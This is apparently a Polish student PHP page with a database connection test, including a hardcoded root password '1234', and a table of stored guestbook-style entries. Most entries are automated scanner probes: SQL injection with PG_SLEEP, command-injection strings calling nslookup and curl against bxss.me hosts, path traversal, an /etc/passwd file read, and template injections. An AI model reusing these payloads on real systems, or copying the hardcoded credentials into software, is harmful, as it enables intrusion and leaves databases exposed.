Test połaczenia z bazą

$db = mysqli_connect("localhost","my_user","my_password","my_db");
W naszym przypadku: 
$db = mysqli_connect('localhost', 'root', '1234', 'opinie');

Tablica wpisów do bazy

NICKDataTematInfo
ghovjnjv2025-12-23 08:51:13Semestr III-5) OR 429=(SELECT 429 FROM PG_SLEEP(15))--
`(nslookup -q=c2025-12-23 08:51:09Semestr III555
ghovjnjv2025-12-23 08:51:07Semestr I555
|(nslookup -q=c2025-12-23 08:51:07Semestr III555
&(nslookup -q=c2025-12-23 08:51:06Semestr III555
!(()&&!|*|*|2025-12-23 08:51:05Semestr III555
ghovjnjv2025-12-23 08:51:04Semestr IIIbxss.me
ghovjnjv2025-12-23 08:51:03Semestr III".gethostbyname(lc("hitnl"."ubxqfwug788ed.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(73).chr(116).chr(89)."
ghovjnjv&n965272025-12-23 08:51:02Semestr III555
ghovjnjv2025-12-23 08:51:02Semestr III555
ghovjnjv2025-12-23 08:51:01Semestr III
ghovjnjv2025-12-23 08:50:59Semestr IIIHttp://bxss.me/t/fit.txt
ghovjnjv2025-12-23 08:50:59Semestr III555
dfb__${98991*972025-12-23 08:50:57Semestr I555
ghovjnjv2025-12-23 08:50:57Semestr II555
ghovjnjv2025-12-23 08:50:57Semestr III555
2025-12-23 08:50:57Semestr III555
ghovjnjv2025-12-23 08:50:57Semestr III1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
file:///etc/pas2025-12-23 08:50:57Semestr III555
12345'"\'\");|]2025-12-23 08:50:56Semestr III555
ghovjnjv2025-12-23 08:50:56Semestr IIIhttp://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
../../../../../2025-12-23 08:50:56Semestr III555
../../../../../2025-12-23 08:50:55Semestr III555
ghovjnjv2025-12-23 08:50:55Semestr III`(nslookup -q=cname hitlyscerlwhb0bbe0.bxss.me||curl hitlyscerlwhb0bbe0.bxss.me)`
ghovjnjv2025-12-23 08:50:54Semestr II5550x7q(9295)
ghovjnjv2025-12-23 08:50:54Semestr III-1' OR 2+97-97-1=0+0+0+1 or 'PLE03Pzk'='
ghovjnjv2025-12-23 08:50:54Semestr III${9999967+9999208}
dfb[[${98991*972025-12-23 08:50:54Semestr I555
2025-12-23 08:50:54Semestr III555
to@example.com>2025-12-23 08:50:53Semestr III555
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